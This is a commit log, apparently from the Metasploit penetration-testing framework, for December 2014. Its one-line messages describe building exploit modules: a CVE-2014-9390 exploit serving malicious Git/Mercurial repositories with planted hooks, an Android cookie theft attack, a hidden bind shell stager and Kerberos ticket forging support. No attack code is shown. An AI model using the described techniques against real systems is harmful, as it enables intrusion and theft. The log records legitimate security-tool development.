Use random URIs by default, different method for enabling/disabling Git/Mercurial
2014-12-23 09:39:39 -08:00
Matthew Hall
3c10b04673
add start of rspec tests
2014-12-23 16:35:27 +00:00
Jon Hart
bd3dc8a5e7
Use fail_with rather than fail
2014-12-23 08:20:03 -08:00
Jon Hart
015b96a24a
Add back perl and bash related payloads since Windows git will have these and OS X should
2014-12-23 08:13:00 -08:00
Jon Hart
8c0269d40a
Merge #4 from @Meatballs2, powershell/other fixes to CVE-2014-9390
2014-12-23 07:50:37 -08:00
Matthew Hall
fca0484639
fix a few bugs with the code cleanup
2014-12-23 15:28:00 +00:00
Meatballs
16302f752e
Enable generic command
2014-12-23 14:22:26 +00:00
Meatballs
a3b0b9de62
Configure module to target bash by default
2014-12-23 14:19:51 +00:00
Matthew Hall
6b98a7d444
Tidy up by removing some duplicate code; add framework to track payload requests through the file id
2014-12-23 14:14:06 +00:00
Meatballs
313d6cc2f8
Add super call
2014-12-23 14:12:47 +00:00
Meatballs
43221d4cb0
Remove redundant debugging stuff
2014-12-23 14:09:12 +00:00
Meatballs
42a10d6d50
Add Powershell target
2014-12-23 14:07:57 +00:00
Meatballs
c2bcde24ef
Land #4377 , Support DYNAMIC_BASE templates - resolves #4366
2014-12-23 11:57:33 +00:00
Meatballs
40c1fb814e
one line if statement
2014-12-23 11:20:24 +00:00
Meatballs
b41e259252
Move it to a common method
2014-12-23 11:16:07 +00:00
Brendan Coles
5c82b8a827
Add ProjectSend Arbitrary File Upload module
2014-12-23 10:53:03 +00:00
sinn3r
36404eb67f
Land #4457 - Fix firefox in-memory payload execution
...
Fix #4374
2014-12-23 01:34:11 -06:00
jvazquez-r7
01cf14d44e
Fix banner
2014-12-23 01:02:09 -06:00
jvazquez-r7
4928cd36e4
Land #4187 , @BorjaMerino's post module to get output rules
2014-12-23 01:01:03 -06:00
jvazquez-r7
49fef9e514
Do minor module clean up
2014-12-23 01:00:21 -06:00
Joe Vennix
e974d272f0
Remove stray line comment that ruined things when minified.
2014-12-23 00:22:50 -06:00
sinn3r
30916e35ad
Land #4454 - Fix duplicate :ua_maxver key in firefox exploit
2014-12-22 23:43:17 -06:00
jvazquez-r7
13ec578d1a
Revert "Back to Create OpenSSL::BN from string"
...
This reverts commit 635a54ca94 .
2014-12-22 23:17:03 -06:00
Jon Hart
abec7c206b
Update description to describe current limitations
2014-12-22 20:32:45 -08:00
Jon Hart
1505588bf6
Rename the file to reflect what it really is
2014-12-22 20:27:40 -08:00
Jon Hart
ff440ed5a4
Describe vulns in more detail, add more URLs
2014-12-22 20:20:48 -08:00
Jon Hart
b4f6d984dc
Minor style cleanup
2014-12-22 17:51:35 -08:00
Jon Hart
421fc20964
Partial mercurial support. Still need to implement bundle format
2014-12-22 17:44:14 -08:00
jvazquez-r7
635a54ca94
Revert "Create OpenSSL::BN from string"
...
This reverts commit fe99b65a62 .
2014-12-22 19:14:07 -06:00
jvazquez-r7
fe99b65a62
Create OpenSSL::BN from string
2014-12-22 18:44:47 -06:00
jvazquez-r7
d12b43d257
Use Intege.new
2014-12-22 18:37:07 -06:00
jvazquez-r7
708cbd7b65
Allow to provide USER SID
2014-12-22 18:24:50 -06:00
jvazquez-r7
56eadc0d55
Delete default values from options
2014-12-22 18:11:43 -06:00
jvazquez-r7
fb83bf6092
Fix specs
2014-12-22 17:55:39 -06:00
jvazquez-r7
787dab998d
Fix description
2014-12-22 17:51:44 -06:00
jvazquez-r7
a7faf798bf
Use explicit encryption algorithms
2014-12-22 15:51:17 -06:00
jvazquez-r7
f37cf555bb
Use random subkey
2014-12-22 15:39:08 -06:00
Jon Hart
fdd1d085ff
Don't encode the payload because this only complicates OS X
2014-12-22 13:36:38 -08:00
jvazquez-r7
ad97457a39
Move more constants to Crypto
2014-12-22 15:27:16 -06:00
jvazquez-r7
75a2846377
Add more PAC constants
2014-12-22 15:14:46 -06:00
Joe Vennix
0bf3a9cd55
Fix duplicate :ua_maxver key.
2014-12-22 14:57:44 -06:00
jvazquez-r7
b0a178e0a3
Delete blank line
2014-12-22 14:40:32 -06:00
jvazquez-r7
5a6c915123
Clean options
2014-12-22 14:37:37 -06:00
jvazquez-r7
20ab14d7a3
Clean module code
2014-12-22 14:29:02 -06:00
Jon Hart
ea9f5ed6ca
Minor cleanup
2014-12-22 12:16:53 -08:00
Jon Hart
dd73424bd1
Don't link to unused repositories
2014-12-22 12:04:55 -08:00
Jon Hart
6c8cecf895
Make git/mercurial support toggle-able, default mercurial to off
2014-12-22 11:36:50 -08:00
Jon Hart
574d3624a7
Clean up setup_git verbose printing
2014-12-22 11:09:08 -08:00
Jon Hart
16543012d7
Correct planted clone commands
2014-12-22 10:56:33 -08:00
Jon Hart
01055cd41e
Use a trigger to try to only start a handler after the malicious file has been requested
2014-12-22 10:43:54 -08:00
jvazquez-r7
dabc890b2f
Change module filename again
2014-12-22 12:35:15 -06:00
sinn3r
bcf659792e
Restore original timeout
2014-12-22 12:34:52 -06:00
jvazquez-r7
2b46bdd929
Add references and authors
2014-12-22 12:34:31 -06:00
jvazquez-r7
4319dbaaef
Change module filename
2014-12-22 12:29:28 -06:00
William Vu
58e4d39993
Land #3394 , for real
2014-12-22 12:27:50 -06:00
jvazquez-r7
f3b263f57d
Use more crypto constants
2014-12-22 12:13:23 -06:00
Jon Hart
3bcd67ec2e
Unique URLs for public repo page and malicious git/mercurial repos
2014-12-22 10:03:30 -08:00
jvazquez-r7
b96d172ccc
Use constant names
2014-12-22 11:58:59 -06:00
jvazquez-r7
ff208002d7
Reorganize the Crypto mixin
2014-12-22 11:57:35 -06:00
William Vu
6c252e3492
Land #3394 , bind_hidden_tcp stager
2014-12-22 11:31:34 -06:00
jvazquez-r7
277ec92358
Really Add specs for Msf::Kerberos::Client::TgsRequest
2014-12-22 11:28:47 -06:00
jvazquez-r7
7a45918ecc
Add specs for Msf::Kerberos::Client::TgsRequest
2014-12-22 11:28:24 -06:00
Borja Merino
1013ca6298
Merge pull request #10 from wvu-r7/pr/3394
...
Fix invalid URL in splat
2014-12-22 18:27:29 +01:00
William Vu
93be828738
Fix invalid URL in splat
2014-12-22 11:26:20 -06:00
Borja Merino
2035f606c1
Merge pull request #9 from wvu-r7/pr/3394
...
Align shellcode in bind_hidden_tcp
2014-12-22 18:18:56 +01:00
William Vu
f1b9862665
Align shellcode in bind_hidden_tcp
2014-12-22 11:17:14 -06:00
Borja Merino
7efa85ea3f
Merge pull request #8 from wvu-r7/pr/3394
...
Readd block_hidden_bind_tcp.asm
2014-12-22 18:15:18 +01:00
William Vu
e34c37042a
Readd block_hidden_bind_tcp.asm
...
Because stager_hidden_bind_tcp.asm includes it.
2014-12-22 11:13:07 -06:00
Borja Merino
25fabfcab1
Merge pull request #7 from wvu-r7/pr/3394
...
Add bind_hidden_tcp to payload spec
2014-12-22 17:45:03 +01:00
William Vu
e4191866d9
Add bind_hidden_tcp to payload spec
2014-12-22 10:37:46 -06:00
Jon Hart
308eea0c2c
Make malicious hook file name be customizable
2014-12-22 08:28:55 -08:00
root
9a7e431a4a
New block_api applied
2014-12-22 17:21:13 +01:00
Peregrino Gris
42636fb3c0
Handler and block_hidden_bind_tcp deleted
2014-12-22 17:21:13 +01:00
root
fa8e944e34
AHOST OptAddress moved to the payload
2014-12-22 17:21:11 +01:00
Peregrino Gris
c0fa8c0e3f
Add stager for hidden bind shell payload
2014-12-22 17:21:11 +01:00
Jon Hart
7f3cfd2207
Add a ranking
2014-12-22 07:51:47 -08:00
jvazquez-r7
a0c7f779e9
Change spec filename
2014-12-22 09:36:51 -06:00
jvazquez-r7
8c62822ab9
Add specs for Msf::Client::Kerberos::AsRequest
2014-12-22 09:34:21 -06:00
jvazquez-r7
b469ff3567
Add doc references to Msf::Kerberos::Client::CacheCredential
2014-12-22 08:54:09 -06:00
Matthew Hall
9af5b03105
correct disclosure date
2014-12-22 12:42:52 +00:00
Matthew Hall
d1bbfae786
delete duplicate
2014-12-22 12:40:14 +00:00
Matthew Hall
710e0e5c18
Add timeout to connection handler
2014-12-22 12:33:27 +00:00
William Vu
416483415a
Land #4450 , MSB reference fix
2014-12-22 05:28:48 -06:00
Matthew Hall
03649a7306
cleanups
2014-12-22 11:11:46 +00:00
Matthew Hall
b09d60b589
cleanups
2014-12-22 11:08:51 +00:00
Matthew Hall
77780022dc
cleanups
2014-12-22 11:07:50 +00:00
Jon Cave
44084b4ef6
Correct Microsoft security bulletin for ppr_flatten_rec
2014-12-22 10:40:23 +00:00
Gabor Seljan
9be95eacb8
Use %Q for double-quoted string
2014-12-22 07:37:32 +01:00
jvazquez-r7
1f3eded4a8
Add specs for Msf::Kerberos::Client::CacheCredential
2014-12-21 23:47:40 -06:00
jvazquez-r7
7cb27408b2
Add doc references por spec'd mixins
2014-12-21 21:03:58 -06:00
jvazquez-r7
60d4525632
Add specs for Msf::Kerberos::Client::Pac
2014-12-21 17:49:36 -06:00
jvazquez-r7
e4455800e1
Add specs for Msf::Kerberos::Client::Base
2014-12-21 16:46:26 -06:00
Christian Mehlmauer
2e4ac41548
Land #4437 , msfvenoms new output switch
2014-12-21 20:48:33 +01:00
sgabe
bb33a91110
Update description to be a little more descriptive
2014-12-21 19:31:58 +01:00
Jon Hart
74783b1c78
Remove ruby and telnet requirement
2014-12-21 10:06:06 -08:00
sgabe
cd02e61a57
Add module for OSVDB-114279
2014-12-21 17:00:45 +01:00
jvazquez-r7
e219b0b249
Add specs for Msf::Kerberos::Client::AsResponse
2014-12-21 01:12:00 -06:00
jvazquez-r7
d7b6407720
Add specs for AsResponse#extract_session_key
2014-12-21 00:53:20 -06:00
jvazquez-r7
2d9ed9eb4c
Add specs for TgsResponse
2014-12-21 00:39:59 -06:00
jvazquez-r7
6acd0703d7
Add specs for Msf::Kerberos::Client::TgsResponse
2014-12-21 00:16:38 -06:00
Jon Hart
31f320c901
Add mercurial debugging
2014-12-20 20:00:12 -08:00
Jon Hart
3da1152743
Add better logging. Split out git support in prep for mercurial
2014-12-20 19:34:55 -08:00
Jon Hart
58d5b15141
Add another useful URL. Use a more git-like URIPATH
2014-12-20 19:11:56 -08:00
jvazquez-r7
9f1403a63e
Add initial specs for Msf::Kerberos::Client::TgsResponse
2014-12-20 20:29:00 -06:00
jvazquez-r7
5f0c3ebb2b
Add documentation for Msf::Kerberos::Client::TgsResponse and TgsRequest
2014-12-20 19:32:38 -06:00
jvazquez-r7
ffb319d703
Add documentation for Msf::Kerberos::Client::AsRequest
2014-12-20 18:57:49 -06:00
jvazquez-r7
8929cbd6b3
Fix typo
2014-12-20 18:29:50 -06:00
jvazquez-r7
e35218b6f1
Add documentation for Msf::Kerberos::Client::CacheCredential
2014-12-20 18:28:36 -06:00
William Vu
ded1765d73
Land #4439 , rm Redmine references in code
2014-12-20 17:19:55 -06:00
Tod Beardsley
80d3c5b757
Normalize links to metakitty, unleashed, and wiki
2014-12-20 12:53:34 -06:00
sgabe
9f97b55a4b
Add module for CVE-2014-2973
2014-12-20 18:38:22 +01:00
jvazquez-r7
ca75b4b74a
Add documentation for Msf::Client::Kerberos::Pac
2014-12-20 01:36:54 -06:00
jvazquez-r7
cf13dc8d53
Do build_ap_req
2014-12-20 01:25:20 -06:00
jvazquez-r7
422d3ce9b5
Take more care of options on build_tgs_request
2014-12-20 01:13:56 -06:00
sinn3r
ad8bbf4477
Rescue rescue Rex::TimeoutError so the iteration can keep going
2014-12-20 01:12:30 -06:00
sinn3r
a8e3ee033c
Fix #4431 - Support arbitrary session response timeout
...
Fix #4431
2014-12-20 00:25:02 -06:00
Jon Hart
f41d0fe3ac
Randomize most everything about the malicious commit
2014-12-19 19:31:00 -08:00
Jon Hart
805241064a
Create a partially capitalized .git directory
2014-12-19 19:07:45 -08:00
Samuel Huckins
067bda43e7
Updating lockfile post MDM version bump
2014-12-19 20:58:09 -06:00
Samuel Huckins
c8d80d5de5
Lands #4436 , latest version of MDM
...
Fixes an issue with protocol inclusion when adding an NX console
2014-12-19 20:56:02 -06:00
Jon Hart
f7630c05f8
Use payload.encoded
2014-12-19 18:52:34 -08:00
jvazquez-r7
cd16e11b22
Make checksum from a method
2014-12-19 20:08:15 -06:00
jvazquez-r7
b0ac68fbc3
Create build_subkey method
2014-12-19 19:46:57 -06:00
jvazquez-r7
4a106089b9
Move options to build_tgs_request_body
2014-12-19 19:12:17 -06:00
jvazquez-r7
e6781fcbea
Build AuthorizationData from the module
2014-12-19 18:59:39 -06:00
jvazquez-r7
9bd454d288
Build PAC extensions from the module
2014-12-19 18:47:41 -06:00
jvazquez-r7
04ef087434
Delete Microsoft namespace from the mixin
2014-12-19 18:41:27 -06:00
jvazquez-r7
b78765e584
Create PAC mixin component
2014-12-19 18:36:02 -06:00
jvazquez-r7
def1695e80
Use options by call
2014-12-19 18:23:11 -06:00
jvazquez-r7
f332860c19
Clean creation of client and server principal names
2014-12-19 18:16:22 -06:00
jvazquez-r7
bd85723a9d
Build pre auth array out of the mixin
2014-12-19 18:10:14 -06:00
Jon Hart
7f2247f86d
Add description and URL
2014-12-19 15:50:16 -08:00
Jon Hart
9b815ea0df
Some style cleanup
2014-12-19 15:35:09 -08:00
Jon Hart
4d0b5d1a50
Add some vprints and use a sane URIPATH
2014-12-19 15:33:26 -08:00
Tod Beardsley
1213aa1875
Missed one in CONTRIBUTING.md
2014-12-19 17:32:28 -06:00
Tod Beardsley
d3050de862
Remove references to Redmine in code
...
See #4400 . This should be all of them, except for, of course, the module
that targets Redmine itself.
Note that this also updates the README.md with more current information
as well.
2014-12-19 17:27:08 -06:00
Jon Hart
48444a27af
Remove debugging pp
2014-12-19 15:27:06 -08:00
Jon Hart
1c7fb7cc7d
Mostly working exploit for CVE-2014-9390
2014-12-19 15:24:27 -08:00
jvazquez-r7
9cfc52b5af
Extract build_as_request_body
2014-12-19 17:00:39 -06:00
jvazquez-r7
fcb801c729
Add Timeout datastore option
2014-12-19 16:53:12 -06:00
sinn3r
fb35a4574f
Well, should be -1
2014-12-19 16:36:05 -06:00
sinn3r
cd444ed2db
No point to save if there's no payload
2014-12-19 16:35:17 -06:00
sinn3r
3c03f3697a
Land #4433 - Update mailmap
2014-12-19 16:29:14 -06:00
sinn3r
c2bc182db5
Fix #4430 - Add support for -o to save the payload to disk
...
Fix #4430
2014-12-19 16:14:43 -06:00
jvazquez-r7
d058bd5259
Refact extraction of kerberos cache credentials
2014-12-19 15:53:24 -06:00
Fernando Arias
337b2d784f
Land #4416 , define rails version dep in one place
...
* Bump rails to 3.2.21
2014-12-19 15:17:54 -06:00
Jon Hart
4888ebe68d
Initial commit of POC module for CVE-2013-9390 ( #4435 )
2014-12-19 12:58:02 -08:00
David Maloney
82e7cd99b5
pull latest mdm
2014-12-19 14:58:01 -06:00
HD Moore
fffa8cfdd1
Lands #4426 by cleaning up the module description
2014-12-19 14:54:17 -06:00
HD Moore
9ede2c2ca5
Lands #4429 by fixing windows/messagebox with EXITFUNC=none
2014-12-19 14:51:57 -06:00
Brent Cook
85ec71bd1e
Land #4434 , fix for metasm invalid opcode
2014-12-19 14:43:55 -06:00
David Maloney
24527d7a55
Land #4427 , Misfortune Cookie Scanner
...
lands Jhart's scanner module for the RomPager
Misofrtune Cookie vuln.
2014-12-19 14:03:00 -06:00
Matt Buck
db0aeb2a05
Make the version constraint a range
2014-12-19 13:54:13 -06:00
Tod Beardsley
38a4776b39
Add and sort other contributors in mailmap
2014-12-19 13:41:06 -06:00
Tod Beardsley
df4f86047d
Add new/updated r7 employees to mailmap
2014-12-19 13:39:42 -06:00
sinn3r
650a68c994
Fix jcxz to jecxz for x86_64 in metasm
...
This fixes "invalid opcode near 'jecxz'" for x64 metasm encoding.
2014-12-19 13:34:56 -06:00
jvazquez-r7
fad08d7fca
Add specs for Rex Kerberos client
2014-12-19 12:14:33 -06:00
Joe Vennix
e45af903d9
Add patch discovery date.
2014-12-19 12:04:41 -06:00
Matt Buck
c493ccfc06
Define the Rails version constraint in a library constant
2014-12-19 11:46:39 -06:00
jvazquez-r7
f4037b1003
Clean Kerberos Rex client code
2014-12-19 11:08:48 -06:00
sinn3r
2c0c732967
Fix #4414 & #4415 - exitfunc and proper null-terminated string
...
This patch fixes the following for messagebox.rb
Issue 1 (#4415 )
When exitfunc is none, the payload will not be able to generate
due to an "invalid opcode" error.
Issue 2: (#4414 )
After "user32.dll" is pushed onto the stack for the LoadLibrary
call, the payload does not actually ensure bl is a null byte, it
just assumes it is and uses it to modify the stack to get a
null-terminated string.
Fix #4414
Fix #4415
2014-12-19 03:19:06 -06:00
Joe Vennix
25313b1712
Use the hash to pass the script.
2014-12-19 02:30:37 -06:00
jvazquez-r7
dfa92da287
Add TODO
2014-12-19 01:13:56 -06:00
jvazquez-r7
77e2d4d90d
Add documentation for the Kerberos PAC support classes
2014-12-19 01:12:14 -06:00
jvazquez-r7
fda4cd3440
Fix some Rex Kerberos model documentation
2014-12-18 19:30:12 -06:00
Jon Hart
8d2bd74d31
Add preliminary module to cover 'Misfortune Cookie', CVE-2014-9222
2014-12-18 17:21:26 -08:00
jvazquez-r7
b740ba4738
Add specs for Rex::Proto::Kerberos::CredentialCache::Cache
2014-12-18 18:35:20 -06:00
jvazquez-r7
8f119e0731
Add specs for Rex::Proto::Kerberos::CredentialCache::Credential
2014-12-18 18:07:44 -06:00
jvazquez-r7
0d464a7ff8
Add specs for Rex::Proto::Kerberos::CredentialCache::Time
2014-12-18 17:53:42 -06:00
jvazquez-r7
d53f5668a2
Add specs for Rex::Proto::Kerberos::CredentialCache::KeyBlock
2014-12-18 17:50:00 -06:00
jvazquez-r7
c426cf32d0
Add specs for Rex::Proto::Kerberos::CredentialCache::Principal
2014-12-18 17:40:06 -06:00
jvazquez-r7
16d5ee1aae
Add documentation for the rex credential cache support
2014-12-18 17:12:58 -06:00
jvazquez-r7
e25665853c
Merge support for Kerberos credential cache encoding
2014-12-18 16:33:33 -06:00
jvazquez-r7
7275f5a5f2
Allow Rex to load credential_cache
2014-12-18 16:32:21 -06:00
jvazquez-r7
f325d2f60e
Add support for cache credentials in the mixin
2014-12-18 16:31:46 -06:00
Tod Beardsley
c15bad44a6
Be clearer on backslash usage.
...
See #4282
2014-12-18 16:16:02 -06:00
William Vu
723998e1d4
Land #4425 , jobs tab completion NilClass fix
2014-12-18 15:25:57 -06:00
Spencer McIntyre
400bd9a094
Fix jobs NilClass tab complete bug
2014-12-18 15:43:04 -05:00
William Vu
153d7e273d
Land #4420 , tentative "fix" for EXE spec
2014-12-18 13:55:56 -06:00
Tod Beardsley
db474adc7b
Remove the helper as well.
...
See #3807 .
Again, happy to have working tests that actually test validity. But,
these ain't them.
2014-12-18 13:28:04 -06:00
sinn3r
144daaa6bb
Land #4421 - add a deprecation message for msfcli
...
please make your way to msfconsole
2014-12-18 10:28:31 -06:00
Tod Beardsley
60099d42cf
Add deprecation warning to msfcli, 6 months
...
See #3802
2014-12-18 09:39:50 -06:00
Trevor Rosen
80cd04d76a
Land #4332 , test optimization for Cucumber
...
* Make Cuke run faster on TravisCI
2014-12-18 09:34:55 -06:00
Tod Beardsley
270debea32
Remove the EXE file test spec
...
This thing has been a problem since forever, given cross-platform
issues and random collisions with other file magic signatures.
See #3807 and #2793 and the even earlier redmine bug.
This should not close the bug, since we're merely avoiding the random
fails by not testing at all. We /should/ test, but in the meantime, we
can't suffer these failures that throw me (at least) into a panic every
time.
2014-12-18 09:18:24 -06:00
jvazquez-r7
0a61e108ea
Add code skeleton for credential_cache
2014-12-18 00:30:47 -06:00
jvazquez-r7
0f19f3cf2e
Add classes templates
2014-12-17 23:16:58 -06:00
William Vu
dcf23172be
Land #4418 , threads tab completion NilClass fix
2014-12-17 22:13:17 -06:00
William Vu
d41dc0d88e
Land #4419 , msfbinscan NameError fix
2014-12-17 22:00:25 -06:00
jvazquez-r7
9a58617387
Add dummy test module
2014-12-17 19:57:10 -06:00
jvazquez-r7
f3f6a64f02
Add some AS response methods to a mixin
2014-12-17 19:50:42 -06:00
Jakub Nawalaniec
9f0bf85ec1
Fix typo in msfbinscan
2014-12-18 02:43:24 +01:00
jvazquez-r7
8e570cc19b
Initial support to send TGS-REQ
2014-12-17 18:55:30 -06:00
Spencer McIntyre
549f3c69ff
Dont crash when tab complete threads command with typos
2014-12-17 19:36:04 -05:00
Matt Buck
cfc3a31289
Upgrade rails to 3.2.21
2014-12-17 17:50:10 -06:00
William Vu
5262096905
Land #4412 , get_once NilClass fixes
2014-12-17 14:07:09 -06:00
sinn3r
6b0a98b69c
Resolve #4408 - bad uncaught nil get_once
2014-12-17 14:02:42 -06:00
William Vu
1ff51d5856
Land #4410 , rm_f with more f
2014-12-17 13:16:46 -06:00
Matthew Hall
e7da23e8e5
modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb
2014-12-17 15:25:13 +00:00
Spencer McIntyre
698ca2639b
Do not delete files that do not exist in rm_f
2014-12-17 09:18:06 -05:00
Meatballs
6a822cca61
Move code out of begin/rescue block
2014-12-17 06:45:00 +00:00
Meatballs
dd63d793e5
Bring in @darkoperator's filters
2014-12-17 06:14:21 +00:00
jvazquez-r7
662160ef61
Refactor mixin
2014-12-16 23:48:53 -06:00
Meatballs
8c7ff728ef
Gather some more info
2014-12-17 05:46:01 +00:00
jvazquez-r7
594b9bcfc2
Add support for AuthorizationData
2014-12-16 23:21:13 -06:00
HD Moore
9de4137aa7
Patch UA/Proxy settings during migration, lands #3632
2014-12-16 22:21:48 -06:00
Sean Verity
370f6003e3
Refactors metsrv patching in reverse_hop_htt.rb
2014-12-17 11:57:17 -05:00
Sean Verity
1930eb1bf8
Refactors metsrv patching in reverse_http.rb
2014-12-17 10:04:43 -05:00
Joe Vennix
84ea628284
Add Android cookie theft attack.
2014-12-16 19:12:01 -06:00
jvazquez-r7
2649d482fe
Add support for KRB_AP_REQ
2014-12-16 18:39:42 -06:00
jvazquez-r7
0f55a98450
Add support for Authenticator encoding
2014-12-16 17:45:54 -06:00
jvazquez-r7
dde45a7f53
Add support for Checksum encoding
2014-12-16 17:05:35 -06:00
jvazquez-r7
a93cbac7bf
Support ticket encoding
2014-12-16 16:04:13 -06:00
William Vu
f6af86a06d
Land #4402 , ms12_020_check NilClass fix
2014-12-16 15:34:25 -06:00
William Vu
3a00db3c9c
Land #4404 , Oracle scheduler exploit fix
2014-12-16 15:33:44 -06:00
jvazquez-r7
ce6b53b44c
Fix attribute description
2014-12-16 11:39:04 -06:00
jvazquez-r7
a5f8b4319f
Add support to encode PAC-TYPE
2014-12-16 11:31:27 -06:00
William Vu
c78685269f
Land #4403 , msfvenom configurable variable name
2014-12-16 10:10:54 -06:00
David Maloney
f237c56a13
This oracle scheduler exploit hangs if not vuln
...
When this exploit gets run against a system that isn't vulnerable
it can hang for a signifigant ammount of time. This change uses the check
method on the exploit to see whether it should proceed. Don't try to exploit
the host if it's not vulnerable.
2014-12-16 09:42:42 -06:00
jvazquez-r7
1721641138
Add support for PAC-LOGON-INFO
2014-12-16 09:32:47 -06:00
sinn3r
513fd122b8
Update rpsec
2014-12-16 00:26:53 -06:00
sinn3r
c2bc79c53c
Resolves #4275 - Configurable variable name as an option
...
Resolves #4275
2014-12-15 23:59:34 -06:00
Sean Verity
52b3025351
Reworked to avoid extending String class on blob per hdm's rec.
2014-12-15 21:40:41 -05:00
jvazquez-r7
c1114c180a
Add support for PAC-CLIENT-INFO
2014-12-15 17:32:51 -06:00
jvazquez-r7
64a0162e3f
Add support for PAC-SERVER-CHECKSUM
2014-12-15 17:16:43 -06:00
jvazquez-r7
482c883d36
Add the parent class for pac elements
2014-12-15 17:13:52 -06:00
jvazquez-r7
2c7139b936
Add support for PAC-PRIVSRV-CHECKSUM
2014-12-15 17:13:22 -06:00
William Vu
2604746fb7
Land #4361 , Kippo detector
2014-12-15 14:54:48 -06:00
Andrew Morris
81a069d548
Merge pull request #1 from wvu-r7/pr/4361
...
Merging changes. Thanks for all the help!
2014-12-15 15:51:48 -05:00
Samuel Huckins
4c994d84e0
Updating version to 4.11 for Flood release
2014-12-15 14:42:09 -06:00
William Vu
8394cc13a8
Perform final cleanup of detect_kippo
2014-12-15 14:38:38 -06:00
sinn3r
c611249723
Take full advantage of the check command
2014-12-15 12:50:59 -06:00
sinn3r
9edb2b4fab
Fix #4378 - Do exception handling
...
Fix #4378
2014-12-15 12:37:36 -06:00
Jon Hart
effb5b966f
Land #4328 , @bcoles' exploit for ActualAnalyzer < 2.81 'ant' code execution
2014-12-15 09:57:27 -08:00
Jon Hart
025c0771f8
Have exploit call check. Have check report_vuln
2014-12-15 09:53:11 -08:00
jvazquez-r7
147ff13080
Add support to decode the encryption part of as responses
2014-12-15 11:47:08 -06:00
jvazquez-r7
643279b54b
Add support to decode the encryption part of as responses
2014-12-15 11:46:11 -06:00
sinn3r
4c714b3eaf
Land #4386 - Fix issue #3852 (support for other languages for enable_rdp)
2014-12-15 11:37:05 -06:00
Jon Hart
f521e7d234
Use newer Ruby hash syntax
2014-12-15 09:17:32 -08:00
Jon Hart
c93dc04a52
Resolve address before storing the working cred
2014-12-15 09:11:12 -08:00
Brent Cook
c24fdb81b5
Land #4389 , Meatballs1's fix for enum_ad_* post module regressions
...
Fixes #4387 by adjusting for the new return type from ADSI queries.
2014-12-15 10:45:12 -06:00
Jon Hart
5ca8f187b3
Merge remote-tracking branch 'upstream/pr/4328' into temp
2014-12-15 08:15:51 -08:00
root
6480ae2c03
Show message at the end
2014-12-15 16:26:39 +01:00
jvazquez-r7
b98ad59900
Add specs for KdcResponse
2014-12-15 08:54:33 -06:00
jvazquez-r7
d81cdd6cbb
Add KdcResponse spec first draft
2014-12-14 21:20:54 -06:00
Samuel Huckins
3ee60101cf
Updating lockfile for credential 0.13.8
...
Logfile cleanup
2014-12-14 21:12:32 -06:00
Samuel Huckins
63320ce7bd
Updating to latest metasploit-credential, 0.13.8
...
Drops test log files that are clogging build
2014-12-14 21:05:32 -06:00
jvazquez-r7
c3a2bcf956
Make KdcResponse decoding better
2014-12-14 21:01:09 -06:00
jvazquez-r7
442adb080f
Add first support to decode tickets
2014-12-14 20:51:26 -06:00
jvazquez-r7
b988104e40
Modify forgotten spec
2014-12-14 19:28:59 -06:00
jvazquez-r7
87548cecfb
Move specs
2014-12-14 19:27:38 -06:00
jvazquez-r7
8049d4024b
Delete references to deleted namespaces from specs
2014-12-14 19:26:39 -06:00
jvazquez-r7
35742873c7
Delete references to deleted namespaces
2014-12-14 19:23:21 -06:00
jvazquez-r7
78c76092dd
Delete namespaces from model classes
2014-12-14 19:18:30 -06:00
jvazquez-r7
13ae624738
Delete namespaces
2014-12-14 19:15:57 -06:00
jvazquez-r7
2d0cb5acd8
Move elements to model dir
2014-12-14 19:11:21 -06:00
jvazquez-r7
328e9f62e8
Add first draft for Kerberos responses
2014-12-14 19:09:41 -06:00
jvazquez-r7
483c273e17
Add support to decode responses on the Rex client
2014-12-14 17:54:17 -06:00
jvazquez-r7
883bfd1f46
Add support to retrieve e-data
2014-12-14 17:23:37 -06:00
jvazquez-r7
7067f2ea83
Modify Rex::Proto::Kerberos::Client to read responses
2014-12-14 16:32:25 -06:00
jvazquez-r7
c5dc065fde
Add support for decoding KrbError
2014-12-14 16:26:18 -06:00
jvazquez-r7
704781d0ce
Modify exception message
2014-12-14 12:11:09 -06:00
root
288954afa0
recvfrom allocation changed
2014-12-14 18:58:48 +01:00
Sean Verity
9a0ed723d1
Adds error handling for drive letter enumeration
2014-12-14 12:56:20 -05:00
Brendan Coles
4530066187
return nil
2014-12-15 01:04:39 +11:00
Brendan Coles
55d9e9cff6
Use list of potential analytics hosts
2014-12-14 23:15:41 +11:00
Brendan Coles
f1f57c6ed9
Merge pull request #1 from jhart-r7/landing-4328
...
Minor improvements to actual analyzer ant cookie exploit
2014-12-14 23:04:13 +11:00
Meatballs
00b802cc68
Reindent description
2014-12-14 10:04:18 +00:00
jvazquez-r7
8435328af7
Fix create_tcp_connection
2014-12-14 00:54:26 -06:00
jvazquez-r7
0abf5d147e
Add some documentation
2014-12-14 00:51:44 -06:00
rcnunez
223d6b7923
Merged with Fr330wn4g3's changes
2014-12-14 13:08:19 +08:00
Sean Verity
0c5f4ce4ee
Removed the handler-ish code
2014-12-13 22:18:41 -05:00
Sean Verity
2addd0fdc4
Fixed name, removed tabs, updated license
2014-12-13 20:37:19 -05:00
HD Moore
e3943682a2
Improves linux/armle payloads, lands #3315
2014-12-13 18:27:14 -06:00
HD Moore
e2617c7095
Return the workspace id in responses, lands #4142
2014-12-13 18:04:58 -06:00
HD Moore
00590f9f26
Adds Java serialization support, lands #4327
2014-12-13 17:47:53 -06:00
HD Moore
6ea5ed1a82
Shrinks windows payloads, lands #4391
2014-12-13 17:41:50 -06:00
HD Moore
f67a32ef9c
Add missing commits from #3770 , lands #4393
2014-12-13 17:36:26 -06:00
Meatballs
6ecf537f40
Grab user creds to database
2014-12-13 20:30:20 +00:00
Jon Hart
fa071930c3
Land #4390
2014-12-13 11:26:17 -08:00
Brandon Perry
eb47ca593e
update desc to include domain admin information
2014-12-13 13:01:41 -06:00
Brandon Perry
2e94280cba
mv bmc to scanner/http
2014-12-13 12:58:16 -06:00
HD Moore
19adfca8ce
Updated stubs from source
2014-12-13 12:55:41 -06:00
HD Moore
5a645c5eba
Stagers updated from source
2014-12-13 12:50:47 -06:00
Meatballs
e914061745
Gsub out funny character when storing to database
2014-12-13 18:35:31 +00:00
Meatballs
316710329b
Fix field.value
2014-12-13 18:31:29 +00:00
Meatballs
5d18de2ebf
Fix legacy railgun LDAP implementation
2014-12-13 18:26:26 +00:00
HD Moore
92490ab5e8
Singles updated from the source
2014-12-13 12:22:07 -06:00
Meatballs
d3d744a7cb
Make sure we get the field :value
2014-12-13 18:13:36 +00:00
HD Moore
4681416a0f
